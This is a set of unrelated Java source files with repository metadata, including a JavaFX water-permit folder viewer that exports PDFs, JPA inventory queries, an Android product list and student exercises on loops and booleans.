package com.nimatullo.transactionservice.models; import java.util.UUID; public class Message<T> { private final UUID messageId; private final T payload; public Message(UUID messageId, T payload) { this.messageId = messageId; this.payload = payload; } public UUID getMessageId() { return messageId; } public String getMessageType() { return this.getClass().getName(); } public T getPayload() { return payload; } }
true
b848d98faef0551f96c5cce042cc9793398f3b7b
Java
razi-ahmad/embl-ebi
/src/test/java/com/embl/ebi/controller/BaseControllerTest.java
UTF-8
1,211
2.125
2
[]
no_license
package com.embl.ebi.controller; import com.fasterxml.jackson.annotation.JsonInclude; import com.fasterxml.jackson.databind.DeserializationFeature; import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.type.CollectionType; import java.io.IOException; import java.util.List; public interface BaseControllerTest { default <T> T mapFromJson(String json, Class<T> clazz) throws IOException { ObjectMapper mapper = new ObjectMapper().configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false); return mapper.readValue(json, clazz); } default String mapToJson(Object object) throws IOException { ObjectMapper mapper = new ObjectMapper().setSerializationInclusion(JsonInclude.Include.NON_NULL); return mapper.writeValueAsString(object); } default <T> List<T> mapFromJsonList(String json, Class<T> clazz) throws IOException { ObjectMapper mapper = new ObjectMapper().configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false); CollectionType collectionType = mapper.getTypeFactory().constructCollectionType(List.class, clazz); return mapper.readValue(json, collectionType); } }
true
73cb7adcbcfaf20a105864e27453893e5b7416af
Java
AimanMalkoun/Gestion-demande-ressources-eau
/DisplayFolderController.java
UTF-8
18,268
1.984375
2
[]
no_license
import java.awt.Desktop; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.net.URL; import java.util.Calendar; import java.util.ResourceBundle; import org.jpedal.exception.PdfException; import com.itextpdf.text.Document; import com.itextpdf.text.DocumentException; import com.itextpdf.text.Font; import com.itextpdf.text.FontFactory; import com.itextpdf.text.Paragraph; import com.itextpdf.text.Phrase; import com.itextpdf.text.pdf.BaseFont; import com.itextpdf.text.pdf.PdfPCell; import com.itextpdf.text.pdf.PdfPTable; import com.itextpdf.text.pdf.PdfWriter; import Classes.DossierForDownload; import Connectivity.ConnectionClassDossier; import alerts.WarningAlert; import javafx.fxml.FXML; import javafx.fxml.FXMLLoader; import javafx.fxml.Initializable; import javafx.scene.Node; import javafx.scene.Parent; import javafx.scene.Scene; import javafx.scene.control.Button; import javafx.scene.control.Label; import javafx.scene.input.MouseEvent; import javafx.stage.DirectoryChooser; import javafx.stage.Stage; public class DisplayFolderController implements Initializable { DossierForDownload dossier; @FXML private Label nomLabel; @FXML private Label prenomLabel; @FXML private Label codCinLabel; @FXML private Button cinFileButton; @FXML private Label cinFileLabel; @FXML private Label typeDeDemandeLabel; @FXML private Button demandeFileButton; @FXML private Label demandeNameLabel; @FXML private Label nomImmobilierLabel; @FXML private Button planImmobilierFileButton; @FXML private Label planImmobilierFileNameLabel; @FXML private Button attestationFileButton; @FXML private Label attestationPoscessionImmobilierLabel; @FXML private Label quiadaLabel; @FXML private Label daairaLabel; @FXML private Label douarLabel; @FXML private Label communeLabel; @FXML private Label provinceLabel; @FXML private Label LocalisationPointEauLabel; @FXML private Label debitLabel; @FXML private Label profondeurLabel; @FXML private Label planEauLabel; @FXML private Label DateDepotDossierLabel; @FXML private Label dateDenvoiAlabhouerEljaidaLabel; @FXML private Label dateDebutEnquetePublicLabel; @FXML private Label dateFinEnquetePublicLabel; @FXML private Label dateSignaturPVparCEPLabel; @FXML private Label AvisDeCEPLabel; @FXML private Label dateEnvoitPvAbhoerEljadidaLabel; @FXML private Label AvisAbhoerLabel; @FXML private Label autorisationLabel; String path; @FXML void annuler(MouseEvent event) { if(filesHaveBeenDeleted()) { try { FXMLLoader loader= new FXMLLoader(); loader.setLocation(getClass().getResource("Fxml/ModifyFolder2.fxml")); Parent showFolderRoot = loader.load(); ModifyFolder2Controller nextControler = loader.getController(); nextControler.setMessage(1); Stage primaryStage = (Stage) ((Node)event.getSource()).getScene().getWindow(); Scene showFolderScene = new Scene(showFolderRoot, primaryStage.getWidth(), primaryStage.getHeight()); primaryStage.setScene(showFolderScene); } catch (IOException e) { e.printStackTrace(); } }else { WarningAlert.desplay("", "\u0628\u0639\u0636 \u0645\u0644\u0641\u0627\u062a \u0627\u0644\u0070\u0064\u0066 \u0645\u0641\u062a\u0648\u062d\u0629 \u0628\u0628\u0631\u0646\u0627\u0645\u062c \u0622\u062e\u0631\u002c \u0627\u0644\u0645\u0631\u062c\u0648 \u0625\u063a\u0644\u0627\u0642\u0647\u0627 \u0623\u0648\u0644\u0627"); } } @FXML void goHomePage(MouseEvent event) { if(filesHaveBeenDeleted()) { try { Stage primaryStage = (Stage) ((Node)event.getSource()).getScene().getWindow(); Parent ModifyFolderRoot = (Parent)FXMLLoader.load(getClass().getResource("Fxml/Dashboard.fxml")); Scene ModifyFolderScene = new Scene(ModifyFolderRoot, primaryStage.getWidth(), primaryStage.getHeight()); primaryStage.setScene(ModifyFolderScene); } catch (IOException e) { e.printStackTrace(); } }else { WarningAlert.desplay("", "\u0628\u0639\u0636 \u0645\u0644\u0641\u0627\u062a \u0627\u0644\u0070\u0064\u0066 \u0645\u0641\u062a\u0648\u062d\u0629 \u0628\u0628\u0631\u0646\u0627\u0645\u062c \u0622\u062e\u0631\u002c \u0627\u0644\u0645\u0631\u062c\u0648 \u0625\u063a\u0644\u0627\u0642\u0647\u0627 \u0623\u0648\u0644\u0627"); } } @FXML void logOut(MouseEvent event) { if(filesHaveBeenDeleted()) { try { Stage primaryStage = (Stage) ((Node)event.getSource()).getScene().getWindow(); Parent ModifyFolderRoot = (Parent)FXMLLoader.load(getClass().getResource("Fxml/LoginStage.fxml")); Scene ModifyFolderScene = new Scene(ModifyFolderRoot, primaryStage.getWidth(), primaryStage.getHeight()); primaryStage.setScene(ModifyFolderScene); } catch (IOException e) { e.printStackTrace(); } }else { WarningAlert.desplay("", "\u0628\u0639\u0636 \u0645\u0644\u0641\u0627\u062a \u0627\u0644\u0070\u0064\u0066 \u0645\u0641\u062a\u0648\u062d\u0629 \u0628\u0628\u0631\u0646\u0627\u0645\u062c \u0622\u062e\u0631\u002c \u0627\u0644\u0645\u0631\u062c\u0648 \u0625\u063a\u0644\u0627\u0642\u0647\u0627 \u0623\u0648\u0644\u0627"); } } private boolean filesHaveBeenDeleted() { File directory = new File("src/tempFiles"); for (File file : directory.listFiles()) { if(!file.delete()) return false; } return true; } @FXML private void displayFile(MouseEvent event) throws PdfException, IOException { if(event.getSource() == attestationFileButton) { File file = ConvertBlobToPdf.getPdfFromBlob(dossier.getAttestationDePocession(), "attestationFile.pdf"); Desktop.getDesktop().open(file); }else if(event.getSource() == demandeFileButton) { File file =ConvertBlobToPdf.getPdfFromBlob(dossier.getDemandeFile(), "demandeFile.pdf"); Desktop.getDesktop().open(file); }else if(event.getSource() == cinFileButton) { File file = ConvertBlobToPdf.getPdfFromBlob(dossier.getCinFile(), "CIN.pdf"); Desktop.getDesktop().open(file); }else if(event.getSource() == planImmobilierFileButton) { File file =ConvertBlobToPdf.getPdfFromBlob(dossier.getPlanImmobilier(), "planEauFile.pdf"); Desktop.getDesktop().open(file); } } @FXML void downloadFolder(MouseEvent event) throws IOException, DocumentException { DirectoryChooser dirChooser = new DirectoryChooser(); File file = dirChooser.showDialog(null); if(file != null) { path = file.getAbsolutePath(); } Document document = new Document(); PdfWriter.getInstance(document, new FileOutputStream(path+ "\\"+ codCinLabel.getText() + "_fichier.pdf")); Font small = FontFactory.getFont("Fonts/arial.ttf", BaseFont.IDENTITY_H, 12); Font normal = FontFactory.getFont("Fonts/arial.ttf", BaseFont.IDENTITY_H, 15); Font big0 = FontFactory.getFont("Fonts/arial.ttf", BaseFont.IDENTITY_H, 18); Font big = FontFactory.getFont("Fonts/arial.ttf", BaseFont.IDENTITY_H, 22); big.setColor(19, 164, 90); big0.setColor(11, 50, 139); document.open(); PdfPTable table = new PdfPTable(1); table.setRunDirection(PdfWriter.RUN_DIRECTION_RTL); /* les elements du paragraphe 1 */ Paragraph para1_1_1 = new Paragraph(20); para1_1_1.add(new Phrase("\u0631\u0642\u0645 \u0627\u0644\u0645\u0644\u0641 : " + Calendar.getInstance().get(Calendar.YEAR) + "/" + dossier.getIdDossier(), small)); para1_1_1.setAlignment(Paragraph.ALIGN_LEFT); para1_1_1.setSpacingAfter(30); Paragraph para1_1 = new Paragraph(30); para1_1.add(new Phrase("\u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0635\u0627\u062d\u0628 \u0627\u0644\u0637\u0644\u0628", big)); para1_1.setAlignment(Paragraph.ALIGN_CENTER); para1_1.setSpacingAfter(30); /* *Informations about the applicant */ Paragraph para1 = new Paragraph(30); para1.add(new Phrase("\u0627\u0644\u0627\u0633\u0645 \u0627\u0644\u0643\u0627\u0645\u0644 : ", normal)); para1.add(new Phrase(nomLabel.getText() + " " +prenomLabel.getText() + "\n", big0)); para1.add(new Phrase("\u0631\u0642\u0645 \u0628\u0637\u0627\u0642\u0629 \u0627\u0644\u062a\u0639\u0631\u064a\u0641 \u0627\u0644\u0648\u0637\u0646\u064a\u0629 : ", normal)); para1.add(new Phrase(codCinLabel.getText() + "\n", big0)); para1.add(new Phrase("\u0646\u0648\u0639 \u0627\u0644\u0637\u0644\u0628 : ", normal)); para1.add(new Phrase(typeDeDemandeLabel.getText() + "\n", big0)); para1.add(new Phrase("\u062a\u0627\u0631\u064a\u064a\u062e \u0625\u064a\u062f\u0627\u0639 \u0627\u0644\u0645\u0644\u0641 : ", normal)); para1.add(new Phrase(DateDepotDossierLabel.getText() + "\n", big0)); para1.setAlignment(Paragraph.ALIGN_LEFT); para1.setSpacingAfter(30); Paragraph para1_2 = new Paragraph(30); para1_2.add(new Phrase("\u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0627\u0644\u0639\u0642\u0627\u0631", big)); para1_2.setAlignment(Paragraph.ALIGN_CENTER); para1_2.setSpacingAfter(30); /* *Property informations */ Paragraph para2 = new Paragraph(30); para2.add(new Phrase("\u0627\u0633\u0645 \u0627\u0644\u0639\u0642\u0627\u0631 : ", normal)); para2.add(new Phrase(nomImmobilierLabel.getText() + "\n", big0)); para2.add(new Phrase("\u0627\u0644\u0642\u064a\u0627\u062f\u0629 : ", normal)); para2.add(new Phrase(quiadaLabel.getText() + "\n", big0)); para2.add(new Phrase("\u0627\u0644\u062f\u0627\u0626\u0631\u0629 : ", normal)); para2.add(new Phrase(daairaLabel.getText() + "\n", big0)); para2.add(new Phrase("\u0627\u0644\u062f\u0648\u0627\u0631 : ", normal)); para2.add(new Phrase(douarLabel.getText() + "\n", big0)); para2.add(new Phrase("\u0627\u0644\u062c\u0645\u0627\u0639\u0629 : ", normal)); para2.add(new Phrase(communeLabel.getText() + "\n", big0)); para2.add(new Phrase("\u0627\u0644\u0625\u0642\u0644\u064a\u0645 : ", normal)); para2.add(new Phrase(provinceLabel.getText() + "\n", big0)); para2.setAlignment(Paragraph.ALIGN_LEFT); para2.setSpacingAfter(30); Paragraph para1_3 = new Paragraph(30); para1_3.add(new Phrase("\u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0627\u0644\u062b\u0642\u0628 \u0627\u0644\u0645\u0627\u0626\u064a", big)); para1_3.setAlignment(Paragraph.ALIGN_CENTER); para1_3.setSpacingAfter(30); /* *Water hole information */ Paragraph para3 = new Paragraph(30); para3.add(new Phrase("\u0625\u062d\u062f\u0627\u062b\u064a\u0627\u062a \u0627\u0644\u062b\u0642\u0628 \u0627\u0644\u0645\u0627\u0626\u064a : ", normal)); para3.add(new Phrase(LocalisationPointEauLabel.getText() + "\n", big0)); para3.add(new Phrase("\u0627\u0644\u0635\u0628\u064a\u0628 : ", normal)); para3.add(new Phrase(debitLabel.getText() + "\n", big0)); para3.add(new Phrase("\u0627\u0644\u0639\u0645\u0642 : ", normal)); para3.add(new Phrase(profondeurLabel.getText() + "\n", big0)); para3.add(new Phrase("\u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0645\u0627\u0621 : ", normal)); para3.add(new Phrase(planEauLabel.getText() + "\n", big0)); para3.setAlignment(Paragraph.ALIGN_LEFT); para3.setSpacingAfter(30); Paragraph para1_4 = new Paragraph(30); para1_4.add(new Phrase("\u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0627\u0644\u0623\u062e\u0631\u0649", big)); para1_4.setAlignment(Paragraph.ALIGN_CENTER); para1_4.setSpacingAfter(30); /* *the other informations */ Paragraph para4 = new Paragraph(30); para4.add(new Phrase("\u062a\u0627\u0631\u064a\u062e \u0625\u0631\u0633\u0627\u0644 \u0627\u0644\u0645\u0644\u0641 \u0625\u0644\u0649 \u0645\u0646\u062f\u0648\u0628\u064a\u0629 \u0648\u0643\u0627\u0644\u0629 \u0627\u0644\u062d\u0648\u0636 \u0627\u0644\u0645\u0627\u0626\u064a \u0644\u0627\u0645 \u0627\u0644\u0631\u0628\u064a\u0639 \u0628\u0627\u0644\u062c\u062f\u064a\u062f\u0629 : ", normal)); para4.add(new Phrase((dateDenvoiAlabhouerEljaidaLabel.getText().equals("") ? "XXXX-XX-XX" : dateDenvoiAlabhouerEljaidaLabel.getText()) + "\n", big0)); para4.add(new Phrase("\u062a\u0627\u0631\u064a\u062e \u0628\u062f\u0627\u064a\u0629 \u0627\u0644\u0628\u062d\u062b \u0627\u0644\u0639\u0644\u0646\u064a : ", normal)); para4.add(new Phrase((dateDebutEnquetePublicLabel.getText().equals("") ? "XXXX-XX-XX" : dateDebutEnquetePublicLabel.getText()) + "\n", big0)); para4.add(new Phrase("\u062a\u0627\u0631\u064a\u062e \u0646\u0647\u0627\u064a\u0629 \u0627\u0644\u0628\u062d\u062b \u0627\u0644\u0639\u0644\u0646\u064a : ", normal)); para4.add(new Phrase((dateFinEnquetePublicLabel.getText().equals("") ? "XXXX-XX-XX" : dateFinEnquetePublicLabel.getText()) + "\n", big0)); para4.add(new Phrase("\u062a\u0627\u0631\u064a\u062e \u0627\u0645\u0636\u0627\u0621 \u0627\u0644\u0645\u062d\u0636\u0631 \u0645\u0646 \u0637\u0631\u0641 \u0644\u062c\u0646\u0629 \u0627\u0644\u0628\u062d\u062b \u0627\u0644\u0639\u0644\u0646\u064a : ", normal)); para4.add(new Phrase((dateSignaturPVparCEPLabel.getText().equals("") ? "XXXX-XX-XX" : dateSignaturPVparCEPLabel.getText()) + "\n", big0)); para4.add(new Phrase("\u0631\u0623\u064a \u0644\u062c\u0646\u0629 \u0627\u0644\u0628\u062d\u062b \u0627\u0644\u0639\u0644\u0646\u064a : ", normal)); para4.add(new Phrase(AvisDeCEPLabel.getText() + "\n", big0)); para4.add(new Phrase("\u062a\u0627\u0631\u064a\u062e \u0625\u0631\u0633\u0627\u0644 \u0627\u0644\u0645\u062d\u0636\u0631 \u0625\u0644\u0649 \u0645\u0646\u062f\u0648\u0628\u064a\u0629 \u0648\u0643\u0627\u0644\u0629 \u0627\u0644\u062d\u0648\u0636 \u0627\u0644\u0645\u0627\u0626\u064a \u0644\u0627\u0645 \u0627\u0644\u0631\u0628\u064a\u0639 \u0628\u0627\u0644\u062c\u062f\u064a\u062f\u0629 : ", normal)); para4.add(new Phrase((dateEnvoitPvAbhoerEljadidaLabel.getText().equals("") ? "XXXX-XX-XX" : dateEnvoitPvAbhoerEljadidaLabel.getText()) + "\n", big0)); para4.add(new Phrase("\u0631\u0623\u064a \u0648\u0643\u0627\u0644\u0629 \u0627\u0644\u062d\u0648\u0636 \u0627\u0644\u0645\u0627\u0626\u064a \u0644\u0627\u0645 \u0627\u0644\u0631\u0628\u064a\u0639 : ", normal)); para4.add(new Phrase(AvisAbhoerLabel.getText() + "\n", big0)); para4.add(new Phrase("\u0627\u0644\u0631\u062e\u0635\u0629 : ", normal)); para4.add(new Phrase(autorisationLabel.getText() + "\n", big0)); para4.setAlignment(Paragraph.ALIGN_LEFT); para4.setSpacingAfter(30); PdfPCell cell = new PdfPCell(); cell.setPaddingRight(40); cell.setPaddingTop(20); cell.setPaddingBottom(20); cell.addElement(para1_1_1); cell.addElement(para1_1); cell.addElement(para1); cell.addElement(para1_2); cell.addElement(para2); cell.addElement(para1_3); cell.addElement(para3); cell.addElement(para1_4); cell.addElement(para4); table.addCell(cell); table.setWidthPercentage(100); document.add(table); document.close(); Desktop.getDesktop().open(new File(path+ "\\"+ codCinLabel.getText() + "_fichier.pdf")); } @Override public void initialize(URL arg0, ResourceBundle arg1) { } public void setMessage(int idDossier) { ConnectionClassDossier myDataBaseFolder = new ConnectionClassDossier(); dossier = myDataBaseFolder.getDossierFromDatabase(idDossier); initializeTextForLabels(); } private void initializeTextForLabels() { /** * this zone for demandeur informations **/ nomLabel.setText(dossier.getNom()); prenomLabel.setText(dossier.getPrenom()); codCinLabel.setText(dossier.getCin()); typeDeDemandeLabel.setText(dossier.getTypeDemande()); demandeNameLabel.setText(dossier.getCin() + "demande.pdf"); cinFileLabel.setText(dossier.getCin() + "CIN.pdf"); DateDepotDossierLabel.setText(dossier.getDateDepotDossier()); /** * this zone for immobilier informations **/ nomImmobilierLabel.setText(dossier.getNomImmobilier()); daairaLabel.setText(dossier.getDaaira()); quiadaLabel.setText(dossier.getQuiada()); provinceLabel.setText(dossier.getProvince()); communeLabel.setText(dossier.getCommune()); douarLabel.setText(dossier.getDouar()); attestationPoscessionImmobilierLabel.setText(dossier.getCin() + "attestation_de_pocession.pdf"); planImmobilierFileNameLabel.setText(dossier.getCin() + "plan_de_l_immobilier.pdf"); /** * this zone for point d'eau informations **/ LocalisationPointEauLabel.setText(dossier.getLocalisationPoint()); profondeurLabel.setText(Float.toString(dossier.getProfondeur())); debitLabel.setText(Float.toString(dossier.getDebit())); planEauLabel.setText(Float.toString(dossier.getPlanEau())); /** * this zone for suivi de dossier informations **/ dateDenvoiAlabhouerEljaidaLabel.setText(dossier.getDateEnvoiA_LABHOER().equals("") ? "XXXX-XX-XX" : dossier.getDateEnvoiA_LABHOER()); dateDebutEnquetePublicLabel.setText(dossier.getDateDebutde_EP().equals("") ? "XXXX-XX-XX" : dossier.getDateDebutde_EP()); dateFinEnquetePublicLabel.setText(dossier.getDateFin_EP().equals("") ? "XXXX-XX-XX" : dossier.getDateFin_EP()); dateSignaturPVparCEPLabel.setText(dossier.getDateSignateureDuPv().equals("") ? "XXXX-XX-XX" : dossier.getDateSignateureDuPv()); AvisDeCEPLabel.setText(dossier.getAvisDe_CEP()); dateEnvoitPvAbhoerEljadidaLabel.setText(dossier.getDateEnvoiDuPVa_LABHOER().equals("") ? "XXXX-XX-XX" : dossier.getDateEnvoiDuPVa_LABHOER()); AvisAbhoerLabel.setText(dossier.getAvisABHOER()); autorisationLabel.setText(dossier.getAutorisation()); } }
true
a225444f96a0031188a0fc45b49cb8481f4424d6
Java
dulcoral/ProyectosPrebe
/Java/Pokemon/Test.java
UTF-8
809
3.40625
3
[]
no_license
public class Test{ public static void main(String[] args) { Pikachu p = new Pikachu(); Totodile t = new Totodile(); combat(p, t); } public static void combat(Pikachu p,Totodile t){ while(p.getLife() > 0 && t.getLife() > 0) { if(t.getHit() > p.getLife()){ System.out.println("Turno de Totodile ataca..."); System.out.println("Pikachu vida: 0.0"); System.out.println("Fin del combate gana Totodile"); break; } else if(p.getHit() > t.getLife()){ System.out.println("Turno de Pikachu ataca..."); System.out.println("Totodile vida: 0.0 "); System.out.println("Fin del combate gana Pikachu"); break; } p.attack(t,(t.defend())); t.attack(p,(p.defend())); } }//end combat }
true
e6d84fd6540cc433533ae05491356b293e239215
Java
amontenegro1987/contac-bussiness-Soft
/contacbusiness/contac-server/modules/modelo/src/main/java/contac/modelo/eao/movimientoInventarioEAO/MovimientoInventarioEAOPersistence.java
UTF-8
4,181
2.171875
2
[]
no_license
package contac.modelo.eao.movimientoInventarioEAO; import contac.modelo.eao.genericEAO.GenericPersistenceEAO; import contac.modelo.eao.genericEAO.GenericPersistenceEAOException; import contac.modelo.entity.MovimientoInventario; import java.util.Date; import java.util.List; /** * Coctac Business Software. All rights reserved 2011. * User: EMontenegro * Date: 12-20-11 * Time: 11:40 AM */ public class MovimientoInventarioEAOPersistence extends GenericPersistenceEAO<MovimientoInventario, Integer> implements MovimientoInventarioEAO { @Override public Integer findCantidadMovimientosInventario(Integer idProducto) throws GenericPersistenceEAOException { //Init service initService(); //Cantidad total de movimientos Long cant = new Long(0); Object result = em.createQuery("select count(m.id) from MovimientoInventario m where m.producto.id = :idProducto"). setParameter("idProducto", idProducto).getSingleResult(); if (result != null) { cant += (Long)result; } return cant.intValue(); } @Override public List<MovimientoInventario> findByEstadoMovimiento(Integer idEstado, Integer idAlmacen, Date fechaHasta) throws GenericPersistenceEAOException { //Init Service initService(); //Query JPA String String query = "Select m from MovimientoInventario m Where m.estado.id = :idEstado and m.almacen.id = :idAlmacen " + "and m.fechaAlta <= :fechaAlta"; //Creating query JPA return em.createQuery(query).setParameter("idEstado", idEstado).setParameter("idAlmacen", idAlmacen). setParameter("fechaAlta", fechaHasta).getResultList(); } @Override public List<MovimientoInventario> findByProducto(String codigoProducto, Integer idAlmacen, Integer idEstado, Date fechaHasta) throws GenericPersistenceEAOException { //Init service initService(); //Query JPA String String query = "Select m from MovimientoInventario m Where m.producto.codigo = :codigoProducto and m.almacen.id = :" + "idAlmacen and m.estado.id = :idEstado and m.fechaAlta <= :fechaAlta"; //Creating query JPA return em.createQuery(query).setParameter("codigoProducto", codigoProducto).setParameter("idAlmacen", idAlmacen). setParameter("idEstado", idEstado).setParameter("fechaAlta", fechaHasta).getResultList(); } @Override public List<MovimientoInventario> findByProducto(String codigoProducto, Date fechaDesde, Date fechaHasta, int tipoAfectacion) throws GenericPersistenceEAOException { //Init service initService(); //Query JPA String String query = "Select m from MovimientoInventario m Where m.fechaAlta >= :fechaDesde and m.fechaAlta <= :" + "fechaHasta and m.afectacion = :tipoAfectacion and m.producto.codigo = :codigoProducto"; //Creating query JPA return em.createQuery(query).setParameter("fechaDesde", fechaDesde).setParameter("fechaHasta", fechaHasta). setParameter("tipoAfectacion", tipoAfectacion).setParameter("codigoProducto", codigoProducto).getResultList(); } @Override public List<MovimientoInventario> findByProducto(String codigoProducto, Integer idAlmacen, Date fechaDesde, Date fechaHasta, int tipoAfectacion) throws GenericPersistenceEAOException { //Init service initService(); //Query JPA String String query = "Select m from MovimientoInventario m Where m.fechaAlta >= :fechaDesde and m.fechaAlta <= :" + "fechaHasta and m.almacen.id = :idAlmacen and m.afectacion = :tipoAfectacion and m.producto.codigo = :codigoProducto"; //Creating query JPA return em.createQuery(query).setParameter("fechaDesde", fechaDesde).setParameter("fechaHasta", fechaHasta). setParameter("idAlmacen", idAlmacen).setParameter("tipoAfectacion", (short)tipoAfectacion). setParameter("codigoProducto", codigoProducto).getResultList(); } }
true
5bd8c03b26ff4e9c2091d64ad1f50bdf3524d70c
Java
lastivkagame/AndroidTestApiApp
/AndroidECommerce/app/src/main/java/com/example/androidecommerce/product_list.java
UTF-8
2,948
2.359375
2
[]
no_license
package com.example.androidecommerce; import androidx.appcompat.app.AppCompatActivity; import android.os.Bundle; import android.view.View; import android.widget.ArrayAdapter; import android.widget.Button; import android.widget.ListView; import android.widget.ProgressBar; import com.example.androidecommerce.dto.ProductDTO; import com.example.androidecommerce.network.services.ProductService; import java.util.List; import retrofit2.Call; import retrofit2.Callback; import retrofit2.Response; public class product_list extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_product_list); Button button = (Button) findViewById(R.id.button_load); button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { ProgressBar progressBar = (ProgressBar) findViewById(R.id.progressBar2); progressBar.setVisibility(ProgressBar.VISIBLE); ListView listView = findViewById(R.id.ProductListView); final String[] catNames = new String[]{}; /*{ "Рыжик", "Барсик", "Мурзик", "Мурка", "Васька", "Томасина", "Кристина", "Пушок", "Дымка", "Кузя", "Китти", "Масяня", "Симба" };*/ ProductService.getInstance() .getProductsApi() .all() .enqueue(new Callback<List<ProductDTO>>() { @Override public void onResponse(Call<List<ProductDTO>> call, Response<List<ProductDTO>> response) { List<ProductDTO> list = response.body(); String str=""; int k =0; for (ProductDTO item : list) { catNames[k++] = (item.getName()+"(price: "+item.getPrice()+")"); } /*ArrayAdapter<String> adapter = new ArrayAdapter<>(this, android.R.layout.simple_list_item_1, catNames); listView.setAdapter(adapter);*/ //txtinfo.setText(str); } @Override public void onFailure(Call<List<ProductDTO>> call, Throwable t) { int k =0; catNames[k++] = ("something went wrong"); } }); /* // используем адаптер данных */ } }); } }
true
63e22e5047f7c9d5f47f37a1233ee8bb45462732
Java
ibrahimseckin/software-engineering
/src/java/getServices/model/Myfields.java
UTF-8
1,283
2.203125
2
[]
no_license
/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package getServices.model; /** * * @author yiğido */ public class Myfields { private int id; private int fieldId; private int providerId; public Myfields(int id, int fieldId,int providerId ){ this.id=id; this.fieldId=fieldId; this.providerId=providerId; } /** * @return the id */ public int getId() { return id; } /** * @param id the id to set */ public void setId(int id) { this.id = id; } /** * @return the fieldId */ public int getFieldId() { return fieldId; } /** * @param fieldId the fieldId to set */ public void setFieldId(int fieldId) { this.fieldId = fieldId; } /** * @return the providerId */ public int getProviderId() { return providerId; } /** * @param providerId the providerId to set */ public void setProviderId(int providerId) { this.providerId = providerId; } }
true
074bc4f52d0b3ffe1fc277d979a6d5b55cdcfc9e
Java
ryandstermer/Summer2020_B20_git
/Summer2020_B20/src/day24_arrays/Unique2.java
UTF-8
702
3.265625
3
[]
no_license
package day24_arrays; import java.util.Scanner; public class Unique2 { public static void main(String[] args) { Scanner input = new Scanner(System.in); String chain = input.nextLine(); String result = ""; for (int i = 0; i <= chain.length() - 1; i++) { char figure1 = chain.charAt(i); int count1 = 0; for (int n = 0; n <= chain.length() - 1; n++) { char each = chain.charAt(n); if (figure1 == each) { count1++; } } if (count1 == 1) { result += figure1; } } System.out.println(result); } }
true
bf5b4bdc732a1707bd9e81379cba1998a6f383b4
Java
Telega815/Prj815
/se/src/main/java/ru/test815/db/UserPackage/PwdStorage.java
UTF-8
460
2.265625
2
[]
no_license
package ru.test815.db.UserPackage; import org.springframework.jdbc.core.RowMapper; import java.sql.ResultSet; public interface PwdStorage { RowMapper<PwdData> ROW_MAPPER = (ResultSet resultSet, int rowNum) -> new PwdData(resultSet.getInt("pid"), resultSet.getInt("owner_id"), resultSet.getString("salt"), resultSet.getString("pwd")); public PwdData getPwdData(int userID); public PwdData writePwd(int userID, String salt, String password); }
true
e3da5b4faf03a5be7deed7b550c8254204e2f308
Java
05516911370/CyberTek
/Yavuz/day20While/loops/whileloopPractice.java
UTF-8
317
3.203125
3
[]
no_license
package day20While.loops; public class whileloopPractice { public static void main(String[] args) { /* for (int i =1;i<=10;i++){ System.out.println(i); } */ int i=1; while( i<=10){ System.out.print(i+" "); ++i; } } }
true
3abf9136b9de14f05d8485a5db342bf40538a3c2
Java
sangeethab16/Decision-Tree-Classifier-using-MapReduce
/src/main/java/classification/utility/RatioCutPoint.java
UTF-8
532
2.671875
3
[ "Apache-2.0" ]
permissive
package classification.utility; public class RatioCutPoint { private float ratio; private double cutPoint; public RatioCutPoint(float ratio, double cutPoint) { this.ratio = ratio; this.cutPoint = cutPoint; } public float getRatio() { return ratio; } public void setRatio(float ratio) { this.ratio = ratio; } public double getCutPoint() { return cutPoint; } public void setCutPoint(double cutPoint) { this.cutPoint = cutPoint; } }
true
4cadd26133943c853dc0e35b29e9dfd8de16ed20
Java
niuwenchen/flume-nginx-
/flume-ng-source-dirregex/src/main/java/com/jackniu/Test.java
UTF-8
508
2.140625
2
[]
no_license
package com.jackniu; import com.google.gson.Gson; public class Test { public static void main(String[] args) { Json json = new Json(); json.fileName = "/opt/flume"; json.logBody ="ip"; json.ip = "0.0.0.0"; // 但是这里的IP还是有点问题 Gson gson = new Gson(); String eventString = gson.toJson(json); System.out.println(eventString.toString()); } } class Json{ String fileName; // 业务名称 String logBody ; // 日志体 String ip; }
true
debd5333f49f0669adc366c79a319c1b9b048bf8
Java
kevindeslauriers/ICS3---Introduction-to-CS
/Unit Two - Selection and Repition/src/week4/BooleanExpressions.java
UTF-8
2,326
4.375
4
[]
no_license
package week4; import java.util.Scanner; public class BooleanExpressions { public static void main(String[] args) { primitiveBooleans(); compoundBooleanExpressions(); } private static void compoundBooleanExpressions() { // && => and // || => or // ! => not Scanner in = new Scanner(System.in); System.out.print("Please enter a colour for the shoes: "); String colour = null;//in.nextLine();//.toLowerCase(); System.out.print("How many shoes? "); int numShoes = Integer.parseInt(in.nextLine()); // are there at least 4 pairs of red shoes? System.out.println(colour != null && colour.equalsIgnoreCase("red") && (numShoes >= 4)); // are there at least 4 pairs of shoes OR the shoes are blue? System.out.println(colour != null && colour.equalsIgnoreCase("blue") || (numShoes >= 4)); /** short circuit expressions * * colour.equalsIgnoreCase("red") && (numShoes >= 4) * If the colour is not red there is no way both expression can be true and as a result Java does not look at the numShoes expression * * * colour.equalsIgnoreCase("blue") || (numShoes >= 4) * If the colour is blue then we don't to look at numShoes expression BECAUSE only 1 of the expressions has to be true for OR * */ boolean isResult = false; System.out.println(isResult); // prints false System.out.println(!isResult); // prints true because !false => NOT false => true } private static void primitiveBooleans() { boolean isYellow = true; // boolean primitives are either true or false boolean hasDog = false; // naming convention: we normally use is or has to prefix the variable name. boolean isTrue = (7 + 3) == 10; // == is the equality operator and is used to check if two 